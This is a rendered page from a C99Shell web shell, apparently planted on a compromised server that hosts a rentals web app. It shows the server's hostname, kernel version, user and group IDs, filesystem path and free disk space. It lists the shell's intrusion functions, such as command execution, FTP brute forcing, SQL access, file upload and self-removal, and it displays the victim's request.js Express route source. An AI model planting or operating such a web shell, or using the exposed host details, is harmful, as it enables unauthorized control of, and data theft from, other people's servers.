!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/rentals.picotech.app/public_html/server/routes/   drwxr-xr-x
Free 23.55 GB of 117.98 GB (19.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     request.js (1.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import express from 'express';
import { Renter,RentPayment} from '../models/index.js';
import path from 'path';
import { fileURLToPath } from 'url';

const router = express.Router();

const __filename = fileURLToPath(import.meta.url);
const __dirname = path.dirname(__filename);

router.get('/', async (req, res) => {
  try {
    const renters = await Renter.findAll({
      order: [['created_at', 'DESC']],
    });

    const nowDate = new Date();
    const monthNames = [
      'January', 'February', 'March', 'April', 'May', 'June',
      'July', 'August', 'September', 'October', 'November', 'December'
    ];
    const currentMonth = monthNames[nowDate.getMonth()]; // Month name
    const currentYear = nowDate.getFullYear();

    for (const renter of renters) {
      const existingPayment = await RentPayment.findOne({
        where: {
          renter_id: renter.id,
          month: currentMonth,
          year: currentYear,
        },
      });

      if (!existingPayment) {
        await RentPayment.create({
          renter_id: renter.id,
          renterName: renter.name,
          room_number: renter.room_id,
          user_id: renter.user_id,
          amount: renter.rent_amount,
          due_date: nowDate,
          status: 'pending',
          month: currentMonth,  // store month name
          year: currentYear,
        });
      }
    }

    res.json({ message: 'Rent requests created successfully.' });
  } catch (err) {
    console.error(err);
    res.status(500).json({ error: 'Failed to create request-rent' });
  }
});

router.get('/download/apk', (req, res) => {
  try {
    // This is the public URL your frontend can use
    const downloadUrl = '/uploads/rentals.apk';

    // Send the URL as JSON
    res.json({ url: downloadUrl });
  } catch (error) {
    console.error('Server error:', error);
    res.status(500).send('Server error.');
  }
});
export default router;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--